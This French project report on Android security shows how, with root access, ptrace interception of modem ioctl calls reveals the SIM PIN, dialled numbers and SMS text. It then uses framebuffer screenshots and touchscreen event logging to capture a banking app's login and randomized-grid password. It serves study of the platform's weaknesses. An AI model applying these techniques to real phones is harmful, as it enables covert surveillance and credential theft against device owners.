Lors d’un appel téléphonique sortant on obtient la trace suivante :

[RILD SEND] : ATD0603504107 ;[RILD RECEIVE ] : 0[RILD SEND] : AT+CLCC[RILD RECEIVE ] : +CLCC: 1,0,2,0,0," 0603504107 " ,1290[RILD SEND] : AT+CMUT =0[RILD RECEIVE ] : 0[RILD SEND] : AT+CMUT =0[RILD RECEIVE ] : 0[RILD SEND] : AT+CLCC[RILD RECEIVE ] : +CLCC: 1,0,2,0,0," 0603504107 " ,1290

Des coordonnées GPS sont également échangées entre le mobile et la BTS. Toute opération de commu-nication sera forcément tracée. Ce type de trace peut s’avérer parfois difficile à lire, mais représente unesource d’information riche et fiable sur l’utilisation du réseau par le propriétaire de l’appareil.

Note : Il est possible a partir de Regex d’extraire les informations très rapidement

1.4 Dump du modem sur Samsung Nexus S1.4.1 Introduction

Nous avons vu précédemment le dump de commandes AT. Nous pouvions récupérer des informationstelles que le code PIN, les numéros de téléphone appelés ou encore les SMS envoyés. Nous sommes équipés

13

d’un Samsung Nexus S et nous avons tenté de récupérer ces commandes AT sur ce téléphone. Gros pointnoir à l’horizon : sur le modem du Samsung Nexus S, il n’existe pas de commandes AT. Toutes lescommunications avec le modem se font par des commandes ioctl(). Il faut donc intercepter les différentsappels à la fonction ioctl() puis interpréter les arguments passés. Mais avant cela, nous devons identifierle processus qui se charge d’envoyer ces commandes.

1.4.2 Identification du processus d’envoi et de réceptionIl n’a pas été facile d’identifier quels étaient les processus impliqués dans l’envoi ou la réception. Nous

avons donc utiliser strace sur le processus RILD. Les premiers tests ne fut pas concluants. Nous avonsdonc suivi les processus forkés depuis le processus RILD grâce à strace − f . Il existe deux processuscréés pour communiquer avec le modem. Un en émission et l’autre en réception. Ces deux processus sontcréés par RILD. Une manière simple pour récupérer les pid de ces processus est de regarder les nomsde dossiers présents dans /proc/"numéro de pid de RILD"/task. L’avant dernier numéro est le processuschargé de la réception sur le modem et le dernier est celui chargé de l’émission.

# ls /proc/‘ busybox pidof rild ‘/ task7390128129130

Dans cet exemple, les pids que nous allons surveiller sont le 129 en réception et le 130 en émission.

1.4.3 Utilisation de ptrace() pour voir les commandes ioctl()Gràce à ptrace(), on s’attache sur un des deux processus trouvés précédemment. Il faut maintenant

trouver le moment où un appel ioctl() est passé. Pour trier les appels systèmes, il faut regarder le numérod’appel système. Il faut donc utiliser un PTRACE_GET_REGS et comparer la valeur qui nous intéresseà SYS_ioctl qui est défini dans les include syscalls.h. Notre principal problème dans cette partie étantque nous ne savons pas où est stocké ce numéro d’appel système sur un système ARM. POur la trouver,il nous a fallu faire un fichier de test passant une commande ioctl() et le désassembler. L’étude de cefichier nous a permis de savoir que le registre utilisé pour le numéro d’appel système est ARM_R7. Donc,à chaque tour de boucle, nous vérifions si le le contenu de ARM_R7 est égal à SYS_ioctl.

Lecture des arguments dans les registres

Maintenant que nous sommes sûr d’avoir une commande ioctl() en cours, nous pouvons récupérer sesdifférents arguments. Les arguments de la fonction ioctl() sont un descripteur de fichier, un numéro derequête et un pointeur sur une donnée quelconque.

1 #include <sys/ioctl.h>2 int ioctl(int d, int requete, ...)

Listing 1.1 – Code C

Pour récupérer ces arguments, il faut lire les valeurs données dans les registres ARM_R0, ARM_R1 etARM_R2 correspondant aux différents arguments dans l’ordre.

Différentiation des commandes ioctl()

Les commandes ioctl() que l’on voit passer doivent être différenciées par le numéro de requête qu’ilcontient. Le fichier ioctl.h définit des macros pour la création des numéros de requêtes :

1 #define _IOC(dir,type,nr,size) \2 (((dir) << _IOC_DIRSHIFT) | \

14

3 ((type) << _IOC_TYPESHIFT) | \4 ((nr) << _IOC_NRSHIFT) | \5 ((size) << _IOC_SIZESHIFT))


La requête se décompose en 4 champs décalés d’un certain nombre de bits :– La direction de la commande (lecture, écriture, lecture+écriture, ou aucun)– Le type définit le driver à qui envoyer la requête– Le nombre définit la fonction à appeler pour le driver– La taille définit la taille de l’objet à donner au driver (dernier paramètre de ioctl)

1 /* used to create numbers */2 #define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0)3 #define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))4 #define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))5 #define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))6 #define _IOR_BAD(type,nr,size) _IOC(_IOC_READ,(type),(nr),sizeof(size))7 #define _IOW_BAD(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),sizeof(size))8 #define _IOWR_BAD(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),sizeof(size))


Ces macros permettent de créer plus rapidement des numéros de requêtes en lecture et/ou écriture.Seulement, ce sont d’autres macros que nous utilisons. En effet, nous voulons retrouver ces 4 paramètresdepuis un numéro de requête.

1 /* used to decode ioctl numbers.. */2 #define _IOC_DIR(nr) (((nr) >> _IOC_DIRSHIFT) & _IOC_DIRMASK)3 #define _IOC_TYPE(nr) (((nr) >> _IOC_TYPESHIFT) & _IOC_TYPEMASK)4 #define _IOC_NR(nr) (((nr) >> _IOC_NRSHIFT) & _IOC_NRMASK)5 #define _IOC_SIZE(nr) (((nr) >> _IOC_SIZESHIFT) & _IOC_SIZEMASK)


Les premiers tests nous ont donné un type ’o’ et les nombres 0x23 et 0x24. Suite à nos recherches, nousavons trouvé le code source d’une bibliothèque libre Samsung sur internet. Dans ce code source, deuxlignes nous ont paru particulièrement intéressantes :

1 #define IOCTL_MODEM_SEND _IO(’o’, 0x23)2 #define IOCTL_MODEM_RECV _IO(’o’, 0x24)


Ces deux constantes portent des noms révélateurs de leur utilité. Donc nous trions chaque appel ioctlpour savoir si nous faisons un send ou recv.Note : Si il s’agit d’un send, nous récupérons les informations lors de l’appel système, sinon nous récu-pérons les informations lors du retour de l’appel système.

Interprétation des structures passées en argument

Dans la suite de cette section, nous utiliserons les appelations des structures définies par la biblio-thèque libre Samsung. Le troisième argument de l’appel système ioctl() est un pointeur sur une structurecomportant 4 champs :

1 struct modem_io {2 unsigned int size;3 unsigned int id;4 unsigned int cmd;5 void *data;6 };


Pour récupérer ces informations, nous récupérons ce qui est présent dans la mémoire en utilisant la fonc-tion ptrace() avec comme paramètre PTRACE_PEEK_DATA sur la taille de la structure modem_io.Notons que le modem utilise deux modes de fonctionnement : fmt et rfs. Nous n’avons pas trouvé ce quidifférencie ces deux modes de fonctionnement. Nous savons seulement qu’en mode fmt, les champs id et

15

cmd sont inutilisés contrairement au mode rfs où tous les champs sont utilisés. Or dans la majorité descas, c’est le mode fmt qui est utilisé. Nous ne nous intéresserons donc pas à ces deux champs dans lasuite. Le champs data est un pointeur sur les données en mémoire et le champs size permet de connaîtrela taille de ces données. Nous utilisons une nouvelle fois ptrace() avec PTRACE_PEEK_DATA sur lataille donnée par le champs size. Nous avons ainsi récupéré toutes les données envoyées au modem ougénérées par le modem. Il ne reste plus qu’à interpréter ce que nous avons. Tout d’abord, nous avons unheader de 7 octets qui permet de différencier les différentes actions demandées au modem.

1 struct ipc_header {2 unsigned short length;3 unsigned char mseq, aseq;4 unsigned char group, index, type;5 } __attribute__((__packed__));


Nous remarquons un premier champ length, c’est la taille des données, header compris. En théorie, cechamp length doit être égal au champ size de la structure modem_io. Il arrive que ce ne soit pas le cas parmoment. Seulement, on s’aperçoit que des données sont renvoyés plus tard avec les mêmes champs mseqet aseq. Or aseq et mseq sont des numéros de séquences, un pour l’émission et l’autre pour la réception.Donc, si les numéros de séquences sont les mêmes, on peut conclure que les données correspondantes sontles mêmes. Par conséquent, si on reçoit des données avec le champ length du ipc_header différent duchamp size du modem_io, cela signifie que c’est une erreur et que ces données doivent être ignorées. Lechamp group permet de distinguer un ensemble de commandes, comme par exemple les commandes deSMS ou d’appels. Le champ index permet de savoir à quelle commande cela correspond dans ce group.Est-ce un envoi de SMS ou une réception ? On le sait grâce à ce champs index. Le champ type permetde distinguer les différents cas d’utilisation de cette commande. Par exemple, l’envoi du sms est en coursou le sms a bien été envoyé. Les différentes valeurs de type sont les suivantes en fonction du sens d’envoides informations.

1 /* AP -> Baseband */2 #define IPC_TYPE_EXEC 0x013 #define IPC_TYPE_GET 0x024 #define IPC_TYPE_SET 0x035 #define IPC_TYPE_CFRM 0x046 #define IPC_TYPE_EVENT 0x05


1 /* Baseband -> AP */2 #define IPC_TYPE_INDI 0x013 #define IPC_TYPE_RESP 0x024 #define IPC_TYPE_NOTI 0x03


1.4.4 Récupération des informations utilesLes trois groupes que nous allons surveiller sont les suivants : les appels, les SMS et le code PIN. Cela

correspond à ces trois définitions :1 #define IPC_GROUP_CALL 0x022 #define IPC_GROUP_SMS 0x043 #define IPC_GROUP_SEC 0x05


Pour distinguer les commandes, nous utilisons les octets de group et index concaténés. Nous allonssurveiller les suivants pour les appels :

1 #define IPC_CALL_OUTGOING 0x02012 #define IPC_CALL_INCOMING 0x0202


Pour les SMS, nous allons utiliser les suivants :

16

1 #define IPC_SMS_SEND_MSG 0x04012 #define IPC_SMS_INCOMING_MSG 0x0402


Pour le code PIN, ce sera celui là :1 #define IPC_SEC_SIM_STATUS 0x0501


Les données suivantes sont collées au ipc_header, il suffit donc de contnuer à lire les données récupéréesprécédemment.

Le code PIN

Les principales informations récupérées lorsque nous avons un IPC_SEC_SIM_STATUS sont dedeux types : envoi du code PIN ou envoi du code PIN OK. Le deuxième type n’est pas un contrôle surle code PIN, mais seulement une information sur la réussite de l’envoi du code PIN. Les deux types sontdonc IPC_TYPE_GET et IPC_TYPE_SET. Les données correspondant au IPC_TYPE_GET n’ontpas de payload, il s’agit donc d’une donnée de 7 octets ne comprenant que le ipc_header. Pour ce qui estdu IPC_TYPE_SET, nous avons bel et bien une payload :

1 struct ipc_sec_pin_status_set {2 unsigned char type;3 unsigned char length1;4 unsigned char length2;5 unsigned char pin1[8];6 unsigned char pin2[8];7 } __attribute__((__packed__));


Dans cette payload, nous pouvons distinguer un champ type, deux champs length et deux champs pin.Le champ type peut contenir deux valeurs qui permettent de choisir entre l’un ou l’autre des codes PIN :

1 #define IPC_SEC_PIN_TYPE_PIN1 0x032 #define IPC_SEC_PIN_TYPE_PIN2 0x09


Nous pouvons noter que les valeurs sont étranges, il aurait été plus simple de choisir 1 et 2 par exemple.Il s’agit surement de valeurs standardisées pour les cartes SIM. Il ne reste plus qu’à récupérer le code PINsur une longueur donnée en fonction du type. Le code PIN est passé en ASCII, il suffit donc de l’afficheret le tour est joué !

Les appels

Lorsque l’on passe un appel, nous récupérons un IPC_CALL_OUTGOING. Nous n’avons pas observéde types différents lors de l’appel. Seul le type IPC_TYPE_EXEC est passé. De ce fait, il n’y a qu’unestructure passée :

1 struct ipc_call_outgoing {2 unsigned char unk;3 unsigned char type;4 unsigned char identity;5 unsigned char length;6 unsigned char prefix;7 unsigned char number[86];8 } __attribute__((__packed__));


Le champ type correspond au type d’appel : voix ou data. Voici les valeurs correspondantes :1 #define IPC_CALL_TYPE_VOICE 0x012 #define IPC_CALL_TYPE_DATA 0x03


17

Le champ identity explicite si l’appel est en mode masqué ou pas. Il y a trois valeurs :1 #define IPC_CALL_IDENTITY_DEFAULT 0x002 #define IPC_CALL_IDENTITY_HIDE 0x013 #define IPC_CALL_IDENTITY_SHOW 0x02


Le champ length donne la taille du numéro à récupérer sur le champ number. Ce champ contient lenuméro de téléphone appelé en ASCII. Il suffit donc de récupérer cela et de l’afficher.

Les SMS

Sur réception d’un IPC_SMS_SEND_MSG, on peut voir deux types principaux :– IPC_TYPE_EXEC :correspond à l’envoi du sms, on peut récupérer le sms directement

– IPC_TYPE_SET :correspond à l’ordre d’envoi du sms

Si on a un IPC_TYPE_EXEC, nous récupérons cette structure :1 struct ipc_sms_send_msg {2 unsigned char type;3 unsigned char msg_type;4 unsigned char unk;5 unsigned char length;6 unsigned char smsc_len;7 } __attribute__((__packed__));


Le champ type sert à dire que le sms est sortant. Le champs msg_type permet de distinguer si un smsest simple ou multiple. Le champs length donne la taille du SMSC_string qui suit. Le smsc_len est lataille de l’entête définissant le SMS center dans le SMSC_string. Dans la suite, il n’y a pas de structurepour décomposer le SMSC_string. Nous allons donc partir sur un exemple :

SMSC_string :07 91 33 86 09 40 00 f0 01 00 0b 91 33 46 86 1673 f5 00 00 04 d4 f2 9c 0e

Nous avons ici la trace héxadécimale du SMSC_string. Le premier octet 0x07 est le smsc_len de lastructure ipc_sms_send_msg. Cela veut dire que le SMS center est codé sur 7 octets : "91 33 86 09 4000 f0". Le code héxadécimal 0x91 signifie que le numéro de téléphone est international. Donc, le numérocommence par un ’+’. Le numéro de téléphone est codé sur un demi-octet par chiffre. Le ’f’ est un symbolede bourrage quand la longueur du numéro de téléphone est impair. Du coup, le numéro récupéré ici est+33 6 89 04 00 00. Ensuite, nous pouvons récupérer le numéro de téléphone à qui est envoyé le SMS :"0b 91 33 46 86 16 73 f5". 0x0b est la taille du numéro de téléphone, ici 11. En effet, le numéro est dansson format international (0x91), le numéro possède donc 11 chiffres. Le codage du numéro de téléphoneest le même que précédemment. De ce fait, le numéro récupéré ici est +33 6 46 86 13 75. A la fin, nousavons le message du SMS : "04 d4 f2 9c 0e". 0x04 donne la taille en nombre de caractères du SMS. LeSMS est encodé sur 7 bits. Il faut donc rajouter un bit à 0 tous les 7 bits sur pour récupérer le codeASCII original.Décomposons le SMS :Il faut placer les octets en sens inverses pour mieux le découper :

Héxadécimal : 0e 9c f2 d4Binaire : 0000 |1110 100|1 1100 11|11 0010 1|101 0100Décodage : (0)111 0100 (0)111 0011 (0)110 0101 (0)101 0100Héxadécimal : 74 73 65 54ASCII : t s e T

Si on replace les lettres dans l’ordre, nous obtenons : "Test". Du coup, nous avons récupéré les informationsdu SMS :

18

SMS Center :+33689004000

Numéro de téléphone :+33646861375

Message :Test

Note : Le SMS Center est le numéro de téléphone utilisé pour envoyer le SMS, il sert de proxy. Le SMSlui est directement envoyé, il y est stocké si le téléphone destinataire n’est pas connecté au réseau.

1.4.5 Pour aller plus loin...Jusqu’à présent, nous nous sommes limités au code PIN, aux envois de SMS et appels sortants. En

gros, nous ne suivons que le processus send. On pourrait récupérer les appels entrants et SMS entrants.On pourrait aussi suivre les connexions internet sur la 3G.

1.5 Récupération de la mémoire graphique1.5.1 Le principeL’équipement de sortie vidéo sous Android est le frame buffer(fb). La mémoire graphique se trouve doncdans les tampons mémoires fb (fb0,fb1... etc.). Dans nos algorithmes nous avons donc utilisé ces tamponsmémoires et plus précisement le fb0 qui est celui attaché à l’écran principal. Via ce fichier une capturecomplète de l’écran peut être extraite (screenshot).Le daemon fb0 se trouve dans le dossier /dev/graphics/. Par défaut la lecture est protégée. Il faut doncdes droits root.

Chaque écran possède des propriétés qui lui sont propres. Les propriétés importantes pour l’extractiond’images sont :

– Le nombre de pixels en X– Le nombre de pixels en Y– Le format et la taille des pixels

Ces données sont accessibles via un appel système ioctl via les commandesFBIOGET_VSCREENINFOet FBIOGET_FSCREENINFO.

1.5.2 Mise en applicationRécupération distante

Note : Cette démonstration a été réalisée sur HTC Wildfire S.La première application vise la récupération distante du frame buffer fb0 et tout le traitement est effectuésur la machine distante via l’outil ffmpeg. Cet outil permet de recréer une image selon le contenu duframebuffer.

L’obtention des paramètres nécessaires à cette opération se fait via la commande suivante :

ioctl -rl 28 /dev/ graphics /fb0 17920

-r pour read-only -l pour donner la taille du io buffer (ici 28) - “17920” est equivalent à l’ioctl FBIO-GET_VSCREENINFOCette commande retourne le suivant :

sending ioctl 0x4600 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x000x00 0x00 0x00 0x00

return buf: 40 01 00 00 e0 01 00 00 40 01 00 00 a0 05 00 00 00 00 00 00e0 01 00 00 20 00 00 00

C’est-à-dire :

19

20 00 00 00 - nombre de bits par pixel40 01 00 00 - la taille en xe0 01 00 00 - la taille en y

En verbose, cet appel ioctl nous informe que la resolution est 320x480 et que chaque pixel est encodé auformat 32 bits. Il faut faire attention au sens de lecture (littleendian/bigendian). Nous utilisons ensuitel’outil ffmpeg pour extraire une image depuis le fichier fb0 récupéré :

ffmpeg -vcodec rawvideo -f rawvideo -pix_fmt rgba -s 320 x480 -i fb0 -fimage2 -vcodec png frame -%d.png

Le paramètre −pix_fmt definit le format des pixels. Il existe plusieurs formats pour l’encodage 32 bits.Format proposé par ffmpeg :

ffmpeg -pix_fmt -list...IO ... argb 4 32IO ... rgba 4 32IO ... abgr 4 32IO ... bgra 4 32IO ... yuv422p16le 3 32IO ... yuv422p16be 3 32

Pour le modèle HTCWildfireS le format est rgba = rrrrrrrr gggggggg bbbbbbbb aaaaaaaa. rgb explicitela couleur du pixel et a - son adresse.

Resultat final :

Figure 1.4 – Capture d’écran distante

Récupération locale

La première méthode permet la capture d’écran depuis le mobile connecté à un ordinateur. C’est l’ordi-nateur qui encode l’image via le codec présenté plus haut. Cette première étape permet de comprendrele fonctionnement, mais ne présente que peu d’intérêt pour une attaque. Au vu de notre second objectif,nous avons conçu un programme permettant d’effectuer des captures d’écrans au format BMP directe-ment sur le téléphone sans que ce dernier n’ait besoin d’être relié à un ordinateur.Les étapes à effectuer sont multiples :

1. Récupérer les informations liées au framebuffer.2. Récupérer les données stockées dans le framebuffer.

20

3. Créer l’image au format désiré.

Pour ce faire nous avons utilisé deux structures issues de la documentation du kernel Android. La premièrefb_var_screeninfo permet de récupérer de l’appel ioctl avec le code opératoire FBIOGET_V SCREENINFO,la seconde pour un appel avec le code opératoire FBIOGET_FSCREENINFO .

1 GGLSurface fb ;2 fd_fb = open(FB_PATH, O_RDWR) ;3 struct fb_var_screeninfo var_info ;4 struct fb_fix_screeninfo fix_info ;5 ioctl(fd_fb, FBIOGET_FSCREENINFO, & fix_info) ; // OP-CODE IOCTL = FBIOGET_FSCREENINFO6 ioctl(fd_fb, FBIOGET_VSCREENINFO, & var_info) ; // OP-CODE IOCTL = FBIOGET_VSCREENINFO7 /* Recuperation de la zone memoire associee au framebuffer.*/8 void * bits ;9 bits = mmap(0, fix_info.smem_len, PROT_READ | PROT_WRITE, MAP_SHARED, fd_fb, 0) ;


Nous avons ensuite stocké l’ensemble de ces données dans une structure GGLSurface.Une fois cette dernière structure instanciée, on récupère pour chaque pixel du framebuffer (un pixel cor-respond à 4 octet) l’octet correspondant à la couleur bleu, puis vert puis rouge, dans un tableau de tailleégale au nombre de pixels stockés dans le framebuffer.

1 uint8_t rgb24 = (uint8_t *) malloc(w * h * 3);2 for (;i<w*h;i++)3 {4 //Pour quantum d’image (32 pixels) on recupere les RGB5 uint32_t pixel32 = ((uint32_t *)fb.data)[i]; // fb.data est le pointeur sur le pixel

courant de la zone memoire contenant le framebuffer6

7 rgb24[3*i+0] = pixel32 & 0x000000FF; // Recuperation de l’octet #1 (Bleu)8 rgb24[3*i+1] = (pixel32 & 0x0000FF00) >> 8; // Recuperation de l’octet #2 (Vert)9 rgb24[3*i+2] = (pixel32 & 0x00FF0000) >> 16; // Recuperation de l’octet #3 (Rouge)

10 }


Une fois l’ensemble des pixels enregistrés dans le tableau, il faut construire le header de l’image (structureBMPHEAD).

Il suffit ensuite d’écrire le header dans le fichier de sortie et de recopier trois octets par ligne chaque pixelencodé sur trois octets issus du tableau.

Cette manipulation suffit à récupérer une image de qualité satisfaisante.Il aurait été intéressant de tester d’autres formats, tels que des formats compressés (jpeg). Cela permettraitde récupérer des images de plus petites tailles, et accélèrerait une éventuelle attaque ciblée.

1.5.3 D’autres solutionsIl existe d’autres méthodes pour faire une capture d’écran. Depuis la version ICS, Android offre une

application screeencap qui permet de faire des captures d’écran sans avoir les droits root.

adb shell/ system /bin/ screencap -p /data/ local /tmp/ screenshot .pngadb pull /data/local /tmp/ screenshot .pngeog screenshot .png

21

1.6 Récupération des positions pointeurs écrans et du keypadComme sur le système UNIX, la gestion des interruptions générées par des pérphériques tels qu’un

clavier ou une souris peut être retracée via un pseudo-terminal. Nous avons essayé de capturer la positiondes touchés écran, ainsi que les caractères saisis sur le clavier virtuel.

1.6.1 FonctionnementSur un système linux classique il est assez simple, à condition d’avoir les droit root, de créer un lo-

giciel de capture expérimenal permettant d’enregistrer tous les caractères saisis par l’utilisateur via sonclavier. Un certain nombre de périphériques, tel que le clavier, sont répertoriés dans le fichier : /proc/-bus/input/devices. Une fois la section correspondante au clavier repérée il suffit de prendre connaissancede la variable eventX. Généralement le champ name de la section correspondante au clavier comporte lemot clé keyboard. La variable eventX (où X est un entier) correspond au nom du pseudo terminal dansle quel les interruptions clavier sont reçues par le kernel. Ce pseudo terminal se trouve dans le dossier/dev/input/. En ouvrant en lecture simple ce fichier sur un terminal, l’analyste peut voir passer des suitesde caractères indéchiffrables. En réalité ce qui transite via ce terminal peut être interprété en utilisantune structure dans le langage de programmation choisi. En langage C la structure input_event permetde décoder ces caractères. Cette structure comporte quatre champs :

– Le premier permet d’itentifier le périphérique emetteur (struct input_dev) :– Le second identifie le type d’évenement (touche enfoncée, relachée...)– Le troisième dépend du second, il permet de donner une information plus précise du type d’évene-ment. (code)

– Le dernier correspond à une valeur entière et identifie dans notre cas la touche saisie.Les évenement intéressants pour un logiciel de capture sont ceux du type EV_KEY. Il indique quandune touche est enfoncée, et il suffit de mapper le code du dernier champ de la structure avec un de ceuxcontenus dans le fichier/linux/keyword.h.

Dans un programme il suffit d’ouvrir en lecture simple le pseudo terminal en question, de récupérer lesstructures y transitant et de filtrer celles qui nous intéressent. Il suffit de mapper le dernier champs dela structure et de l’écrire dans un fichier (par exemple). Ce genre de logiciel expérimental ne fournit pasune capture de grande qualité mais elle suffit à comprendre le principe de fonctionnement des keyloggers.

Le but n’étant pas de réaliser un logiciel de capture sophistiqué sur linux, nous avons continué l’étudesur le système Android. Après lecture du fichier /proc/bus/input/devices/ sur le téléphone HTC Wildfirenous avons identifé la section semblant être celle correspondante au clavier virtuel. Cependant en ouvrantle pseudo terminal définit par cette dernière en lecture, nous n’avons rien vu transiter via ce fichier. Leseul pseudo terminal dont nous sommes parvenus à obtenir un résultat est celui repertorié dans la sectionsuivante :#HTC Wildfire#:cat /proc/bus/input/ devices...I: Bus =0000 Vendor =0000 Product =0000 Version =0000N: Name="cy8c - touchscreen "P: Phys=S: Sysfs =/ devices / virtual /input/ input3U: Uniq=H: Handlers = event3B: EV=9B: ABS =4650000 0...

Après analyse des structures input_event nous avons remarqué que ce qui transitait semblait êtreles positions des touchés écrans. En effet un évenement de type EV_ABS associés aux champs codeABS_MOTION_MT_POSTION_X et ABS_MOTION_MT_POSITION_Y donne la position abso-lue du touché écran selon deux axes X et Y. Nous avons donc pu récupérer les différentes positions destouchés.Nous avons poursuivit l’étude en essayant de capturer les caractères saisis par l’utilisateur. Pour cela nousavons expérimentalement déterminé quel était la position des caractères sur le clavier virtuel Android.

22

Pour ce faire nous mappé chaque entrée (X,Y) avec une lettre du clavier.

Les deux codes keypostion.c et keylogger.c ayant servis aux manipulations précédentes sont disponiblesen annexe.

1.6.2 Limites de la manipulationBien que nous soyons parvenu à un résultat, la qualité des captures restent médiocres. Nous avons étéconfrontés à un ensemble de problèmes :

– Selon la durée d’un même touché, la position peut apparaître de nombreuses fois. Cela rend les tracesplus fastidieuses à lire, et dans le cas du mappage avec un caractère, ce dernier peut apparaître endouble voir en tripple.

– Sans amélioration ce code ne fonctionnera que sur une minorité de téléphones : ceux utilisant leclavier Android français d’origine.

Nous ne sommes pas parvenu à identifier dans les nombreux fichiers que nous avons lus s’il existait unmoyen en développement C natif d’obtenir une correspondance avec des caractères, comme nous avionspu la trouver sur Linux.

Il existe une autre méthode, que nous avons découverte plus tard, qui consiste à utiliser l’interface JNI(Java Native Interface), qui permet d’utiliser des fonctionnalités écrites en Java. En Java il est possibled’utiliser des objets instanciant les classes android.view.MotionEvent et android.view.KeyEvent, pour re-trouver la saisie de l’utilisateur sous sa bonne forme (soit une position soit un caractère). Les méthodes deces classes sont accessibles dans le développement JNI. Il semblerait donc possible de réaliser un logicielde capture plus efficace.

En langage Java il est possible de réaliser un logciel de capture facilement, cependant le mécanisme deSandBoxing interdit une tierce application de capturer ce qui est saisi dans une autre. A moins d’avoirun moyen de contourner cette sécurité il semble impossible de réaliser une application fonctionnelle (àmoins de ne vouloir seulement capturer ce qui est tapé dans l’application en elle même, ce qui présentepeu d’intérêt).

Au vu de notre objectif final (cf partie 2.6) nous avons gardé notre premièr programme, pour poursuivrel’étude plus loin.

1.7 Récupération des identifiants utilisateurs sur une applica-tion sécurisée

Le second objectif du projet était de réussir à capturer les identifiants d’un utilisateur sur une applicationqui possède une sécurité particulière :

– Les dentifiants sont construits à partir d’une suite de chiffres et rentrés via un clavier spécial(comprenant uniquement des chiffres).

– Les mots de passe sont construits à partir d’une suite de chiffre dont la saisie s’éffectue via unegrille 4*4 où les différents chiffres apparaissent de manière aléatoire.

Nous avons choisi l’application labanquepostale pour réaliser cette manipulation. Il existe bien d’autresapplications pouvant subir ce genre de manipulation, vu que ce n’est pas une faille applicative, maisplutot une vulnérabilité du système Android.

1.7.1 PrincipeUne fois le principe compris, il faut donc connaître l’emplacement des chiffres sur la grille lorsque

l’utilisateur tape son mot de passe, ainsi que sur quelle zone de l’écran il a appuyé (chiffre correspondant).Il faut également récupérer l’identifiant de l’utilisateur. Pour ce faire nous avons réalisé un ensembled’opérations à partir de 4 scripts :

23

1. Détecter le lancement de l’application2. Effectuer des captures d’écrans toutes les secondes3. Enregistrer les positions des touchés écrans effectués par l’utilisateur4. Cadencer ces trois opérations

Le but de cette manipulation est de récupérer les touchés écrans ainsi que ce qui est affiché à l’écrandurant l’utilisation de l’application. Nous avons pris des captures d’écrans à raison d’une image parseconde, dont leur nom indique l’instant à la seconde prêt auquel elles ont été prises. Le programmeretraçant les touchés écrans indique également à quels instants ils ont été réalisés. En fonction du nombrede caractères apparaissant sur la photo (caractères masqués) il est possible de retrouver la position desévenements correspondant à la saisi du mot de passe. Reste à identifier à quel chiffre correspond chaquetouché. Pour se faire, il nous a fallu déterminer expérimentalement la position de chaque emplacementde la grille :

x= 0 250 500 750 1000_______________________

|_____|_____|_____|_____| y = [200 300]|_____|_____|_____|_____| y = [300 400]|_____|_____|_____|_____| y = [400 500]|_____|_____|_____|_____| y = [500 600]

Une fois l’emplacement de chaque touché identifié sur la grille, il suffit de récupérer la position de chaquechiffre de la grille. Une des photos prises fera l’affaire. Note : Nous avons également déterminé les coor-données des boutons ’corriger’ et ’effacer’.

Pour la détection du lancement de l’application nous avons utilisé la commande

dumpsys activity | grep top - activity | grep labanquepostale

Si cette commande renvoie un resultat non vide alors cela signifie que l’application la banque postale estactuellement en cours d’utilisation.Le programme dumplbp.c disponible en annexe orchestre l’ensemble des opération. Il lance dans unpremier temps le script bash checklbp.sh, périodiquement (toutes les secondes) pour détecter le lancementde l’application. Une fois détectée, deux threads sont lancés :

– Le permet permet d’exécuter toutes les secondes le programme screenshot.c présenté dans la partie2.4.

– Le second permet de lancer le programme keyposition.c présenté dans la partie 2.5.Ces deux threads permettent la capture des coordonnées de touchés écrans ainsi que ce qui est affichépar l’application. Nous avons choisis de prendre une soixantaine de photos avant de stopper les threadsde capture. Nous avons estimé à environ une minute le temps mis par un utilisateur à s’authentifier.

La récupération de l’identifiant se fait seulement par parcours de l’ensemble des captures écrans prises. Ilsera peut être nécessaire d’avoir plusieurs sessions d’authenfications pour pouvoir retrouver ce code, oud’éffectuer un bruteforce pour retrouver le(s) chiffre(s) manquant(s).

1.7.2 Mise en applicationUne fois les programmes chargés sur le mobile, il suffit de lancer via une application tel que TerminalE-mulator.apk la commande :

# : /data/local/tmp/ dumlbp

Une fois la commande executée nous avons lancé l’application en question, et nous nous sommes authen-tifiés. Nous avons ensuite récupéré l’ensemble des photos prises ainsi que la trace des touchés écrans.Nous avons immédiatement récupéré l’identifiant via la photo prise à 22h54min51s (figure 2.5) et nousavons ensuite pu récupérer la grille. Avant d’étudier la trace des touchés écrans, nous avons remarquéque lorsque l’utilisateur saisisait un chiffre sur la grille ce dernier était entouré de jaune, et cela tant quel’on avait pas saisi un autre chiffre sur la grille. Si il s’écoule plus d’une seconde entre chaque chiffre saisi(assez probable), il n’y a pas besoin de lire la trace ! Dans la figure 2.5 le lecteur pourra remarquer que

24

sur la troisième photo du diaporama il est impossible de savoir si c’est un 9 qui a été saisi ou bien un 0.C’est pourquoi nous avons utilisé la trace pour vérifier s’il était possible de récupérer chaque touché écrancorrespondant aux photos, pour distinguer le 9 du 0 ainsi que pour vérifier si cette méthode fonctionneégalement sans qu’il y ait un quelconque contour du chiffre sélectionné (telle que sur une application Cre-dit Agricole). La figure suivante donne l’ensemble des touchés écrans capturés aux instants des différentesphotos apparaissant sur la figure 2.5 :

# ###########Date : /04 -05 -2013 -22:54:56# ###########

EV_ABS ABS_MT_POSITION_X VALUE : 874 #### 9EV_ABS ABS_MT_POSITION_Y VALUE : 279 ####...# ###########Date : /04 -05 -2013 -22:54:58# ###########

EV_ABS ABS_MT_POSITION_X VALUE : 359 #### 0EV_ABS ABS_MT_POSITION_Y VALUE : 368 ####...# ###########Date : /04 -05 -2013 -22:54:59# ###########

EV_ABS ABS_MT_POSITION_X VALUE : 387 #### 0EV_ABS ABS_MT_POSITION_Y VALUE : 354 ###...# ###########Date : /04 -05 -2013 -22:55:02# ###########



EV_ABS ABS_MT_POSITION_X VALUE : 377 #### 0EV_ABS ABS_MT_POSITION_Y VALUE : 354 ###

Toutes les correspondances entre les coordonnées de cette trace et les chiffres du mot de passe ont pu êtreeffectuées à l’aide de la grille présentée dans la partie 2.6.1. La récupération de l’identifiant de l’utilisateura été dans cette manipulation instantanné et fournie par la première photo de la figure 2.3.

